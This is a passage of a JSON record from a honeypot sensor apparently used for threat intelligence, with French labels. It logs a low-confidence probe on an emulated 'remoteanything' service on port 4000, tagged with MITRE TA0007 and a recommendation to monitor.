"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-remoteanything",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"port": 4000,
"service": "remoteanything",
"service_label_fr": "REMOTEANYTHING"
},
"attack_vector": "remoteanything \u00b7 via REMOTEANYTHING:4000 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "4000 \u00b7 REMOTEANYTHING",
"emulator_service": "remoteanything",
"confidence_reason": "Confiance faible (0 %) \u2014 classification prudente",
"confidence_factors_fr": null,
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "remoteanything",
"service_banner": "honeypot-remoteanything",
"service_os": "linux",
"dst_port": "4000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor"
}
|